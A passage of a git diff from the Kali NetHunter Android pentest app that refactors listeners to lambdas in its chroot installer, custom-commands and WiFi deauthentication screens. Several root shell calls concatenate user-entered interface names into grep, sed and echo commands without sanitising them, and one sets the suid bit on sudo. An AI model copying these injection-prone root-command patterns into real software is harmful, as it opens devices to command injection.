dialog.cancel(); + fullOrMinimal(true); }); AlertDialog ad = adb.create(); ad.setCancelable(false); @@ -357,40 +310,34 @@ private void fullOrMinimal(final Boolean shouldDownload) { AlertDialog.Builder adb = new AlertDialog.Builder(getActivity()); adb.setTitle("Select Chroot Download:") .setMessage("We recommend the full chroot, so you can enjoy all the nethunter features.\n\nIf you are installing from the SdCard, choose the type of chroot you copied to the SdCard.\n\nThe minimal is for testing/development") - .setNeutralButton("Minimal Chroot", new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - zipFilePath = nh.SD_PATH + "/" + FILENAME_MINIMAL; - SHA512 = SHA512_MINIMAL; - if (shouldDownload) { - // update value if is minimal - isFull = false; - if (!startZipDownload(URI_MINIMAL)) { - installButton.setEnabled(true); - } - } else { - UnziptarTask mytask = new UnziptarTask(); - mytask.execute(); + .setNeutralButton("Minimal Chroot", (dialog, which) -> { + dialog.cancel(); + zipFilePath = nh.SD_PATH + "/" + FILENAME_MINIMAL; + SHA512 = SHA512_MINIMAL; + if (shouldDownload) { + // update value if is minimal + isFull = false; + if (!startZipDownload(URI_MINIMAL)) { + installButton.setEnabled(true); } + } else { + UnziptarTask mytask = new UnziptarTask(); + mytask.execute(); } }) - .setPositiveButton("Full Chroot", new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - SHA512 = SHA512_FULL; - zipFilePath = nh.SD_PATH + "/" + FILENAME_FULL; - if (shouldDownload) { - // update value if is full - isFull = true; - if (!startZipDownload(URI_FULL)) { - installButton.setEnabled(true); - } - } else { - UnziptarTask mytask = new UnziptarTask(); - mytask.execute(); + .setPositiveButton("Full Chroot", (dialog, which) -> { + dialog.cancel(); + SHA512 = SHA512_FULL; + zipFilePath = nh.SD_PATH + "/" + FILENAME_FULL; + if (shouldDownload) { + // update value if is full + isFull = true; + if (!startZipDownload(URI_FULL)) { + installButton.setEnabled(true); } + } else { + UnziptarTask mytask = new UnziptarTask(); + mytask.execute(); } }); AlertDialog ad = adb.create(); @@ -407,36 +354,31 @@ private void addMetaPackages() { LayoutInflater inflater = getActivity().getLayoutInflater(); final ScrollView sv = (ScrollView) inflater.inflate(R.layout.metapackagechooser, null); adb.setView(sv); - Button metapackageButton = (Button) sv.findViewById(R.id.metapackagesWeb); - metapackageButton.setOnClickListener(new View.OnClickListener() { - public void onClick(View v) { - String metapackagesURL = "http://tools.kali.org/kali-metapackages"; - Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(metapackagesURL)); - startActivity(browserIntent); - } + Button metapackageButton = sv.findViewById(R.id.metapackagesWeb); + metapackageButton.setOnClickListener(v -> { + String metapackagesURL = "http://tools.kali.org/kali-metapackages"; + Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(metapackagesURL)); + startActivity(browserIntent); }); - adb.setPositiveButton(R.string.InstallAndUpdateButtonText, new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - statusLog("Everything went fine, chroot is installed. Selecting metapackages."); - StringBuilder sb = new StringBuilder(""); - CheckBox cb; - // now grab all the checkboxes in the dialog and check their status - // thanks to "user2" for a 2-line sample of how to get the dialog's view: http://stackoverflow.com/a/13959585/3035127 - AlertDialog d = AlertDialog.class.cast(dialog); - LinearLayout ll = (LinearLayout) d.findViewById(R.id.metapackageLinearLayout); - int children = ll.getChildCount(); - for (int cnt = 0; cnt < children; cnt++) { - if (ll.getChildAt(cnt) instanceof CheckBox) { - cb = (CheckBox) ll.getChildAt(cnt); - if (cb.isChecked()) { - sb.append(cb.getText()).append(" "); - } + adb.setPositiveButton(R.string.InstallAndUpdateButtonText, (dialog, which) -> { + statusLog("Everything went fine, chroot is installed. Selecting metapackages."); + StringBuilder sb = new StringBuilder(); + CheckBox cb; + // now grab all the checkboxes in the dialog and check their status + // thanks to "user2" for a 2-line sample of how to get the dialog's view: http://stackoverflow.com/a/13959585/3035127 + AlertDialog d = (AlertDialog) dialog; + LinearLayout ll = d.findViewById(R.id.metapackageLinearLayout); + int children = ll.getChildCount(); + for (int cnt = 0; cnt < children; cnt++) { + if (ll.getChildAt(cnt) instanceof CheckBox) { + cb = (CheckBox) ll.getChildAt(cnt); + if (cb.isChecked()) { + sb.append(cb.getText()).append(" "); } } - - installAndUpgrade(sb.toString()); } + + installAndUpgrade(sb.toString()); }); ad = adb.create(); ad.setCancelable(true); @@ -476,11 +418,7 @@ private void reallyWipeRoot() { editor.apply(); // don't use apply() or it may not save try { new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - x.RunAsRootOutput("reboot"); - } - }, 4000); + () -> x.RunAsRootOutput("reboot"), 4000); } catch (RuntimeException e) { Log.d(TAG, "Error: ", e); } @@ -531,56 +469,45 @@ private void inflateZip() { pd.setCancelable(false); pd.show(); statusLog("Original SHA: " + SHA512.toUpperCase()); - new Thread(new Runnable() { - - public void run() { - if (mView != null) { - final String[] checksumResponse = checkFileIntegrity(zipFilePath); - mView.post(new Runnable() { - @Override - public void run() { - if (checksumResponse[0].equals("1")) { - // all In bg - pd.setTitle("Checking Download... OK"); - pd.setMessage("Checking file integrity... MATCH."); - - statusLog("New SHA: " + checksumResponse[1]); - statusLog("Checking file integrity... MATCH"); - try { - new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - pd.dismiss(); - UnziptarTask mytask = new UnziptarTask(); - mytask.execute(); - } - }, 2000); - } catch (RuntimeException e) { - Log.d(TAG, "Error in start unzip: ", e); - } - } else { - pd.dismiss(); - // needed to add the button. - AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); - builder.setTitle("Error in the file integrity check:"); - builder.setMessage("Error: " + checksumResponse[1]) - .setNegativeButton("Abort installation", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - statusLog("Error: " + checksumResponse[1]); - pd.dismiss(); - statusLog(getActivity().getString(R.string.downloadfailscheck)); - checkForExistingChroot(); - } - }); - - ad = builder.create(); - ad.setCancelable(false); - ad.show(); - } + new Thread(() -> { + if (mView != null) { + final String[] checksumResponse = checkFileIntegrity(zipFilePath); + mView.post(() -> { + if (checksumResponse[0].equals("1")) { + // all In bg + pd.setTitle("Checking Download... OK"); + pd.setMessage("Checking file integrity... MATCH."); + + statusLog("New SHA: " + checksumResponse[1]); + statusLog("Checking file integrity... MATCH"); + try { + new android.os.Handler().postDelayed( + () -> { + pd.dismiss(); + UnziptarTask mytask = new UnziptarTask(); + mytask.execute(); + }, 2000); + } catch (RuntimeException e) { + Log.d(TAG, "Error in start unzip: ", e); } - }); - } - + } else { + pd.dismiss(); + // needed to add the button. + AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); + builder.setTitle("Error in the file integrity check:"); + builder.setMessage("Error: " + checksumResponse[1]) + .setNegativeButton("Abort installation", (dialog, id) -> { + statusLog("Error: " + checksumResponse[1]); + pd.dismiss(); + statusLog(getActivity().getString(R.string.downloadfailscheck)); + checkForExistingChroot(); + }); + + ad = builder.create(); + ad.setCancelable(false); + ad.show(); + } + }); } }).start(); @@ -652,19 +579,16 @@ public void run() { if (shouldLog) { doLog(formatLog, installLogFile); } - statusText.post(new Runnable() { - @Override - public void run() { - statusText.append(Html.fromHtml("" + ts + " - ")); - statusText.append(status + "\n"); - } + statusText.post(() -> { + statusText.append(Html.fromHtml("" + ts + " - ")); + statusText.append(status + "\n"); }); } }).start(); } - /* --------------------------------------- asynctasks -------------------- */ + /* --------------------------------------- asynctasks -------------------- */ public class UnziptarTask extends AsyncTask { @@ -689,7 +613,7 @@ protected void onPreExecute() { protected void onProgressUpdate(String... progressInfo) { super.onProgressUpdate(progressInfo); if (isStarted) { - pd.setTitle("Extracting and Deploying"); + pd.setTitle(getString(R.string.extractinganddeploying)); } pd.setMessage(progressInfo[0]); statusLog(progressInfo[0]); @@ -731,14 +655,12 @@ protected void onPostExecute(Boolean result) { pd.setMessage("Wait... loading metapackages"); try { new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - checkForExistingChroot(); - x.RunAsRootOutput(nh.whichBusybox() + " mount -o remount,suid /data && chmod +s " + nh.CHROOT_PATH + "/usr/bin/sudo"); - deleteFile(zipFilePath); - pd.dismiss(); - addMetaPackages(); - } + () -> { + checkForExistingChroot(); + x.RunAsRootOutput(nh.whichBusybox() + " mount -o remount,suid /data && chmod +s " + nh.CHROOT_PATH + "/usr/bin/sudo"); + deleteFile(zipFilePath); + pd.dismiss(); + addMetaPackages(); }, 3000); } catch (RuntimeException e) { Log.d(TAG, "Error post extraction: ", e); @@ -754,29 +676,23 @@ public void run() { private class DownloadChroot extends AsyncTask { - private final Context context; - private PowerManager.WakeLock mWakeLock; final ProgressDialog mProgressDialog; final NotificationManager mNotifyManager = (NotificationManager) getActivity().getSystemService(Context.NOTIFICATION_SERVICE); final NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(getActivity()); - - private boolean isRunning = true; + private final Context context; double last_perc = 0.0; double humanSize = 0.0; double onePercent = 0.0; double fineProgress = 0.0; Boolean weHaveTheSha = false; + private PowerManager.WakeLock mWakeLock; + private boolean isRunning = true; public DownloadChroot(Context context) { this.context = context; mProgressDialog = new ProgressDialog(context); mProgressDialog.setCancelable(false); - mProgressDialog.setButton(DialogInterface.BUTTON_NEGATIVE, getResources().getString(R.string.cancel), new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - cancel(true); - } - }); + mProgressDialog.setButton(DialogInterface.BUTTON_NEGATIVE, getResources().getString(R.string.cancel), (dialog, which) -> cancel(true)); } @Override @@ -978,13 +894,11 @@ protected void onPostExecute(String result) { AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); builder.setTitle("Error in the Chroot download."); builder.setMessage("Error in the Chroot download, posible causes: server down or conection issues, here is the error: " + result) - .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - statusLog("Error in the download, removing temp file..."); - deleteFile(zipFilePath); - checkforLegacyChroot(); - mNotifyManager.cancel(1); - } + .setNegativeButton("Cancel", (dialog, id) -> { + statusLog("Error in the download, removing temp file..."); + deleteFile(zipFilePath); + checkforLegacyChroot(); + mNotifyManager.cancel(1); }); ad = builder.create(); diff --git a/src/com/offsec/nethunter/CustomCommandsFragment.java b/src/com/offsec/nethunter/CustomCommandsFragment.java index 50237ce..7dd6c44 100644 --- a/src/com/offsec/nethunter/CustomCommandsFragment.java +++ b/src/com/offsec/nethunter/CustomCommandsFragment.java @@ -1,7 +1,6 @@ package com.offsec.nethunter; import android.content.Context; -import android.content.DialogInterface; import android.content.Intent; import android.content.SharedPreferences; import android.content.pm.PackageManager; @@ -14,13 +13,12 @@ import android.view.View; import android.view.ViewGroup; import android.view.inputmethod.InputMethodManager; -import android.widget.AdapterView; import android.widget.BaseAdapter; import android.widget.Button; import android.widget.CheckBox; -import android.widget.CompoundButton; import android.widget.EditText; import android.widget.ListView; +import android.widget.SearchView; import android.widget.Spinner; import android.widget.TextView; import android.widget.Toast; @@ -32,10 +30,10 @@ import java.util.List; import androidx.appcompat.app.AlertDialog; -//import androidx.appcompat.widget.SearchView; -import android.widget.SearchView; import androidx.fragment.app.Fragment; +//import androidx.appcompat.widget.SearchView; + public class CustomCommandsFragment extends Fragment { @@ -88,17 +86,12 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa custom_commands_runlevel = "90"; View rootView = inflater.inflate(R.layout.custom_commands, container, false); - final Button addCommand = (Button) rootView.findViewById(R.id.addCommand); + final Button addCommand = rootView.findViewById(R.id.addCommand); setHasOptionsMenu(true); - final SearchView searchStr = (SearchView) rootView.findViewById(R.id.searchCommand); + final SearchView searchStr = rootView.findViewById(R.id.searchCommand); main(rootView); // set up listeners - addCommand.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - showCommandDialog("ADD", null, 0); - } - }); + addCommand.setOnClickListener(v -> showCommandDialog("ADD", null, 0)); searchStr.setOnQueryTextListener(new SearchView.OnQueryTextListener() { @@ -191,8 +184,8 @@ public boolean onOptionsItemSelected(MenuItem item) { private void main(final View rootView) { - commandListView = (ListView) rootView.findViewById(R.id.commandList); - TextView customComandsInfo = (TextView) rootView.findViewById(R.id.customComandsInfo); + commandListView = rootView.findViewById(R.id.commandList); + TextView customComandsInfo = rootView.findViewById(R.id.customComandsInfo); commandList = database.getAllCommands(); commandAdapter = new CmdLoader(mContext, commandList); @@ -202,27 +195,21 @@ private void main(final View rootView) { } commandListView.setAdapter(commandAdapter); - commandListView.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { - @Override - public boolean onItemLongClick(AdapterView parent, View view, int position, long id) { - ((Vibrator) mContext.getSystemService(Context.VIBRATOR_SERVICE)).vibrate(50); + commandListView.setOnItemLongClickListener((parent, view, position, id) -> { + ((Vibrator) mContext.getSystemService(Context.VIBRATOR_SERVICE)).vibrate(50); - CustomCommand currenCommand = (CustomCommand) commandListView.getItemAtPosition(position); - showCommandDialog("EDIT", currenCommand, position); + CustomCommand currenCommand = (CustomCommand) commandListView.getItemAtPosition(position); + showCommandDialog("EDIT", currenCommand, position); - return false; - } + return false; }); } private static void hideSoftKeyboard(final View caller) { - caller.postDelayed(new Runnable() { - @Override - public void run() { - InputMethodManager imm = (InputMethodManager) caller.getContext().getSystemService(Context.INPUT_METHOD_SERVICE); - imm.hideSoftInputFromWindow(caller.getWindowToken(), InputMethodManager.HIDE_NOT_ALWAYS); - } + caller.postDelayed(() -> { + InputMethodManager imm = (InputMethodManager) caller.getContext().getSystemService(Context.INPUT_METHOD_SERVICE); + imm.hideSoftInputFromWindow(caller.getWindowToken(), InputMethodManager.HIDE_NOT_ALWAYS); }, 100); } @@ -235,25 +222,20 @@ private void showCommandDialog(String action, CustomCommand commandInfo, int pos alertDialogBuilder.setView(promptsView); alertDialogBuilder.setCancelable(false); alertDialogBuilder.setNegativeButton("Cancel", - new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - dialog.cancel(); - hideSoftKeyboard(getView()); - } + (dialog, id) -> { + dialog.cancel(); + hideSoftKeyboard(getView()); }); - final Spinner command_exec_mode = (Spinner) promptsView.findViewById(R.id.spinnerExecMode); - final CheckBox run_at_boot = (CheckBox) promptsView.findViewById(R.id.custom_comands_runAtBoot); + final Spinner command_exec_mode = promptsView.findViewById(R.id.spinnerExecMode); + final CheckBox run_at_boot = promptsView.findViewById(R.id.custom_comands_runAtBoot); - run_at_boot.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { - @Override - public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { - if (isChecked) { - command_exec_mode.setSelection(0); - command_exec_mode.setEnabled(false); - } else { - command_exec_mode.setEnabled(true); - } + run_at_boot.setOnCheckedChangeListener((buttonView, isChecked) -> { + if (isChecked) { + command_exec_mode.setSelection(0); + command_exec_mode.setEnabled(false); + } else { + command_exec_mode.setEnabled(true); } }); switch (action) { @@ -268,39 +250,37 @@ public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { private void saveNewCommand(AlertDialog.Builder alertDialogBuilder, View promptsView) { - final EditText userInputBtnLabel = (EditText) promptsView.findViewById(R.id.editText_launcher_btn_label); - final EditText userInputCommand = (EditText) promptsView.findViewById(R.id.editText_launcher_command); - final Spinner command_exec_mode = (Spinner) promptsView.findViewById(R.id.spinnerExecMode); - final Spinner command_run_in_shell = (Spinner) promptsView.findViewById(R.id.spinnerRun_in_shell); - final CheckBox run_at_boot = (CheckBox) promptsView.findViewById(R.id.custom_comands_runAtBoot); + final EditText userInputBtnLabel = promptsView.findViewById(R.id.editText_launcher_btn_label); + final EditText userInputCommand = promptsView.findViewById(R.id.editText_launcher_command); + final Spinner command_exec_mode = promptsView.findViewById(R.id.spinnerExecMode); + final Spinner command_run_in_shell = promptsView.findViewById(R.id.spinnerRun_in_shell); + final CheckBox run_at_boot = promptsView.findViewById(R.id.custom_comands_runAtBoot); alertDialogBuilder .setPositiveButton("OK", - new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - if (userInputBtnLabel.getText().length() > 0 && - userInputCommand.getText().length() > 0) { - Integer _run_at_boot = 0; - if (run_at_boot.isChecked()) { - _run_at_boot = 1; - - } - CustomCommand _insertedCommand = database.addCommand(userInputBtnLabel.getText().toString(), - userInputCommand.getText().toString(), - command_exec_mode.getSelectedItem().toString(), - command_run_in_shell.getSelectedItem().toString(), _run_at_boot); - nh.showMessage("Command created."); - - if (_run_at_boot == 1) { - addToBoot(_insertedCommand); - } - // add to top of the list - commandList.add(0, _insertedCommand); - commandAdapter.notifyDataSetChanged(); - } else { - nh.showMessage(getString(R.string.toast_input_error_launcher)); + (dialog, id) -> { + if (userInputBtnLabel.getText().length() > 0 && + userInputCommand.getText().length() > 0) { + Integer _run_at_boot = 0; + if (run_at_boot.isChecked()) { + _run_at_boot = 1; + } - hideSoftKeyboard(getView()); + CustomCommand _insertedCommand = database.addCommand(userInputBtnLabel.getText().toString(), + userInputCommand.getText().toString(), + command_exec_mode.getSelectedItem().toString(), + command_run_in_shell.getSelectedItem().toString(), _run_at_boot); + nh.showMessage("Command created."); + + if (_run_at_boot == 1) { + addToBoot(_insertedCommand); + } + // add to top of the list + commandList.add(0, _insertedCommand); + commandAdapter.notifyDataSetChanged(); + } else { + nh.showMessage(getString(R.string.toast_input_error_launcher)); } + hideSoftKeyboard(getView()); }); AlertDialog alertDialog = alertDialogBuilder.create(); alertDialog.show(); @@ -308,11 +288,11 @@ public void onClick(DialogInterface dialog, int id) { private void editCommand(AlertDialog.Builder alertDialogBuilder, View promptsView, CustomCommand commandInfo, final int position) { - final EditText userInputCommandLabel = (EditText) promptsView.findViewById(R.id.editText_launcher_btn_label); - final EditText userInputCommand = (EditText) promptsView.findViewById(R.id.editText_launcher_command); - final Spinner command_exec_mode = (Spinner) promptsView.findViewById(R.id.spinnerExecMode); - final Spinner command_run_in_shell = (Spinner) promptsView.findViewById(R.id.spinnerRun_in_shell); - final CheckBox run_at_boot = (CheckBox) promptsView.findViewById(R.id.custom_comands_runAtBoot); + final EditText userInputCommandLabel = promptsView.findViewById(R.id.editText_launcher_btn_label); + final EditText userInputCommand = promptsView.findViewById(R.id.editText_launcher_command); + final Spinner command_exec_mode = promptsView.findViewById(R.id.spinnerExecMode); + final Spinner command_run_in_shell = promptsView.findViewById(R.id.spinnerRun_in_shell); + final CheckBox run_at_boot = promptsView.findViewById(R.id.custom_comands_runAtBoot); // command Info final long _id = commandInfo.getId(); String _label = commandInfo.getCommand_label(); @@ -343,47 +323,43 @@ private void editCommand(AlertDialog.Builder alertDialogBuilder, View promptsVie } alertDialogBuilder .setPositiveButton("Update", - new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - - if (userInputCommandLabel.getText().length() > 0 && - userInputCommand.getText().length() > 0) { - Integer _run_at_boot = 0; - if (run_at_boot.isChecked()) { - _run_at_boot = 1; - } - CustomCommand _updatedCommand = new CustomCommand(_id, - userInputCommandLabel.getText().toString(), - userInputCommand.getText().toString(), - command_exec_mode.getSelectedItem().toString(), - command_run_in_shell.getSelectedItem().toString(), _run_at_boot); - - database.updateCommand(_updatedCommand); - if (_run_at_boot == 1) { - addToBoot(_updatedCommand); - } else { - removeFromBoot(_updatedCommand.getId()); - } - nh.showMessage("Command Updated"); - commandList.set(position, _updatedCommand); - commandAdapter.notifyDataSetChanged(); + (dialog, id) -> { + if (userInputCommandLabel.getText().length() > 0 && + userInputCommand.getText().length() > 0) { + Integer _run_at_boot = 0; + if (run_at_boot.isChecked()) { + _run_at_boot = 1; + } + CustomCommand _updatedCommand = new CustomCommand(_id, + userInputCommandLabel.getText().toString(), + userInputCommand.getText().toString(), + command_exec_mode.getSelectedItem().toString(), + command_run_in_shell.getSelectedItem().toString(), _run_at_boot); + + database.updateCommand(_updatedCommand); + if (_run_at_boot == 1) { + addToBoot(_updatedCommand); } else { - nh.showMessage(getString(R.string.toast_input_error_launcher)); + removeFromBoot(_updatedCommand.getId()); } - hideSoftKeyboard(getView()); + nh.showMessage("Command Updated"); + commandList.set(position, _updatedCommand); + commandAdapter.notifyDataSetChanged(); + + } else { + nh.showMessage(getString(R.string.toast_input_error_launcher)); } + hideSoftKeyboard(getView()); }) .setNeutralButton("Delete", - new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - database.deleteCommand(_id); - removeFromBoot(_id); - commandList.remove(position); - commandAdapter.notifyDataSetChanged(); - hideSoftKeyboard(getView()); - nh.showMessage("Command Deleted"); - } + (dialog, id) -> { + database.deleteCommand(_id); + removeFromBoot(_id); + commandList.remove(position); + commandAdapter.notifyDataSetChanged(); + hideSoftKeyboard(getView()); + nh.showMessage("Command Deleted"); }); AlertDialog alertDialog = alertDialogBuilder.create(); alertDialog.show(); @@ -444,12 +420,12 @@ public View getView(final int position, View convertView, ViewGroup parent) { // set up the ViewHolder vH = new ViewHolderItem(); // get the reference of switch and the text view - vH.cwTitle = (TextView) convertView.findViewById(R.id.command_tag); + vH.cwTitle = convertView.findViewById(R.id.command_tag); // vH.cwSwich = (Switch) convertView.findViewById(R.id.switch1); - vH.execmode = (TextView) convertView.findViewById(R.id.execmode); - vH.sendtocmd = (TextView) convertView.findViewById(R.id.sendtocmd); - vH.runatboot = (TextView) convertView.findViewById(R.id.custom_comands_runAtBoot_text); - vH.cwButton = (Button) convertView.findViewById(R.id.runCommand); + vH.execmode = convertView.findViewById(R.id.execmode); + vH.sendtocmd = convertView.findViewById(R.id.sendtocmd); + vH.runatboot = convertView.findViewById(R.id.custom_comands_runAtBoot_text); + vH.cwButton = convertView.findViewById(R.id.runCommand); convertView.setTag(vH); //System.out.println ("created row"); } else { @@ -477,12 +453,7 @@ public View getView(final int position, View convertView, ViewGroup parent) { vH.execmode.setText(_mode); vH.sendtocmd.setText(_sendTo); vH.runatboot.setText(_runAtBoot_txt); - vH.cwButton.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - doCustomCommand(commandInfo); - } - }); + vH.cwButton.setOnClickListener(v -> doCustomCommand(commandInfo)); return convertView; } diff --git a/src/com/offsec/nethunter/DeAuthFragment.java b/src/com/offsec/nethunter/DeAuthFragment.java index 4945581..c0732fe 100644 --- a/src/com/offsec/nethunter/DeAuthFragment.java +++ b/src/com/offsec/nethunter/DeAuthFragment.java @@ -4,45 +4,23 @@ import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; -import androidx.fragment.app.Fragment; -import androidx.fragment.app.FragmentActivity; -import androidx.fragment.app.FragmentManager; -import androidx.fragment.app.FragmentPagerAdapter; -import androidx.viewpager.widget.ViewPager; -import android.util.Log; import android.view.LayoutInflater; +import android.view.Menu; import android.view.MenuInflater; +import android.view.MenuItem; import android.view.View; import android.view.ViewGroup; -import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.CheckBox; import android.widget.EditText; -import android.widget.Spinner; -import android.widget.TextView; import android.widget.Toast; -import android.util.DisplayMetrics; -import com.offsec.nethunter.utils.ShellExecuter; + import com.offsec.nethunter.utils.BootKali; -import com.offsec.nethunter.CustomCommand; import com.offsec.nethunter.utils.NhPaths; -import java.util.List; -import android.app.Activity; -import android.content.BroadcastReceiver; -import android.content.Context; -import android.content.Intent; -import android.content.IntentFilter; -import android.net.wifi.ScanResult; -import android.net.wifi.WifiManager; -import android.os.Bundle; -import android.view.Menu; -import android.view.MenuItem; -import android.view.View; -import android.widget.AdapterView; -import android.widget.ArrayAdapter; -import android.widget.ListView; -import android.widget.TextView; -import android.widget.AdapterView.OnItemClickListener; +import com.offsec.nethunter.utils.ShellExecuter; + +import androidx.fragment.app.Fragment; +import androidx.fragment.app.FragmentActivity; /** * Created by nik on 20/02/17. */ @@ -70,14 +48,14 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa SharedPreferences sharedpreferences = getActivity().getSharedPreferences("com.offsec.nethunter", Context.MODE_PRIVATE); Context mContext = getActivity().getApplicationContext(); setHasOptionsMenu(true); - final Button scan = (Button) rootView.findViewById(R.id.scan_networks); - final EditText wlan = (EditText) rootView.findViewById(R.id.wlan_interface); - final EditText term = (EditText) rootView.findViewById(R.id.TerminalOutputDeAuth); - final Button start = (Button) rootView.findViewById(R.id.StartDeAuth) ; - final EditText pkt = (EditText) rootView.findViewById(R.id.time); - final EditText channel = (EditText) rootView.findViewById(R.id.channel); - final CheckBox whitelist = (CheckBox) rootView.findViewById(R.id.deauth_whitelist); - final CheckBox white_me = (CheckBox) rootView.findViewById(R.id.deauth_me); + final Button scan = rootView.findViewById(R.id.scan_networks); + final EditText wlan = rootView.findViewById(R.id.wlan_interface); + final EditText term = rootView.findViewById(R.id.TerminalOutputDeAuth); + final Button start = rootView.findViewById(R.id.StartDeAuth); + final EditText pkt = rootView.findViewById(R.id.time); + final EditText channel = rootView.findViewById(R.id.channel); + final CheckBox whitelist = rootView.findViewById(R.id.deauth_whitelist); + final CheckBox white_me = rootView.findViewById(R.id.deauth_me); whitelist.setChecked(false); start.setOnClickListener(new View.OnClickListener(){ public void onClick(View v) { @@ -100,73 +78,67 @@ public void onClick(View v) { } } }); - scan.setOnClickListener(new View.OnClickListener(){ - public void onClick(View v) { - - /**TODO: create .sh that executes the commands and puts its output in a file and then read the file in the textview 20/02/17*/ - new BootKali("cp /sdcard/nh_files/deauth/scan.sh /root/scan.sh & chmod +x /root/scan.sh").run_bg(); - String cmd = "./root/scan.sh " + wlan.getText() + " | tr -s [:space:] > /sdcard/nh_files/deauth/output.txt"; - try { - new BootKali("ifconfig " + wlan.getText() + " up").run_bg(); - Thread.sleep(1000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - new BootKali(cmd).run_bg(); - try { - Thread.sleep(5000); - nh = new NhPaths(); - String output = exe.RunAsRootOutput("cat /sdcard/nh_files/deauth/output.txt").replace("Channel:","\n Channel:"); - term.setText(output); - } catch (Exception e) { - e.printStackTrace(); - term.setText(e.toString()); - } + scan.setOnClickListener(v -> { + + /**TODO: create .sh that executes the commands and puts its output in a file and then read the file in the textview 20/02/17*/ + new BootKali("cp /sdcard/nh_files/deauth/scan.sh /root/scan.sh & chmod +x /root/scan.sh").run_bg(); + String cmd = "./root/scan.sh " + wlan.getText() + " | tr -s [:space:] > /sdcard/nh_files/deauth/output.txt"; + try { + new BootKali("ifconfig " + wlan.getText() + " up").run_bg(); + Thread.sleep(1000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + new BootKali(cmd).run_bg(); + try { + Thread.sleep(5000); + nh = new NhPaths(); + String output = exe.RunAsRootOutput("cat /sdcard/nh_files/deauth/output.txt").replace("Channel:","\n Channel:"); + term.setText(output); + } catch (Exception e) { + e.printStackTrace(); + term.setText(e.toString()); + } - } }); - whitelist.setOnClickListener(new View.OnClickListener(){ - public void onClick(View v){ - if (whitelist.isChecked()){ - white_me.setClickable(true); - String check_me = exe.RunAsRootOutput("grep -q " + getmac(wlan.getText().toString()) + " \"/sdcard/nh_files/deauth/whitelist.txt\" && echo $?"); - if (check_me.contains("0")){ - white_me.setChecked(true); - } - else{ - white_me.setChecked(false); - } + whitelist.setOnClickListener(v -> { + if (whitelist.isChecked()){ + white_me.setClickable(true); + String check_me = exe.RunAsRootOutput("grep -q " + getmac(wlan.getText().toString()) + " \"/sdcard/nh_files/deauth/whitelist.txt\" && echo $?"); + if (check_me.contains("0")){ + white_me.setChecked(true); } else{ white_me.setChecked(false); - white_me.setClickable(false); } } + else{ + white_me.setChecked(false); + white_me.setClickable(false); + } }); - white_me.setOnClickListener(new View.OnClickListener(){ - public void onClick(View v){ - if (whitelist.isChecked()) { - if (white_me.isChecked()) { - if (wlan.getText().toString() == "wlan0") { - exe.RunAsRootOutput("echo '" + getmac(wlan.getText().toString()) + "' >> /sdcard/nh_files/deauth/whitelist.txt"); - - } else { - exe.RunAsRootOutput("echo '" + getmac("wlan0") + "' >> /sdcard/nh_files/deauth/whitelist.txt"); - exe.RunAsRootOutput("echo '" + getmac(wlan.getText().toString()) + "' >> /sdcard/nh_files/deauth/whitelist.txt"); - } + white_me.setOnClickListener(v -> { + if (whitelist.isChecked()) { + if (white_me.isChecked()) { + if (wlan.getText().toString() == "wlan0") { + exe.RunAsRootOutput("echo '" + getmac(wlan.getText().toString()) + "' >> /sdcard/nh_files/deauth/whitelist.txt"); + } else { - if (wlan.getText().toString() == "wlan0") { - exe.RunAsRootOutput("sed -i '/" + getmac(wlan.getText().toString()) + "/d' /sdcard/nh_files/deauth/whitelist.txt"); - } else { - exe.RunAsRootOutput("sed -i '/wlan0/d' /sdcard/nh_files/deauth/whitelist.txt"); - exe.RunAsRootOutput("sed -i '/" + getmac(wlan.getText().toString()) + "/d' /sdcard/nh_files/deauth/whitelist.txt"); - } + exe.RunAsRootOutput("echo '" + getmac("wlan0") + "' >> /sdcard/nh_files/deauth/whitelist.txt"); + exe.RunAsRootOutput("echo '" + getmac(wlan.getText().toString()) + "' >> /sdcard/nh_files/deauth/whitelist.txt"); + } + } else { + if (wlan.getText().toString() == "wlan0") { + exe.RunAsRootOutput("sed -i '/" + getmac(wlan.getText().toString()) + "/d' /sdcard/nh_files/deauth/whitelist.txt"); + } else { + exe.RunAsRootOutput("sed -i '/wlan0/d' /sdcard/nh_files/deauth/whitelist.txt"); + exe.RunAsRootOutput("sed -i '/" + getmac(wlan.getText().toString()) + "/d' /sdcard/nh_files/deauth/whitelist.txt"); } } - else{ - white_me.setChecked(false); - } + } + else{ + white_me.setChecked(false); } }); return rootView; diff --git a/src/com/offsec/nethunter/DeAuthWhitelistActivity.java b/src/com/offsec/nethunter/DeAuthWhitelistActivity.java index c149e86..16fe43d 100644 --- a/src/com/offsec/nethunter/DeAuthWhitelistActivity.java +++ 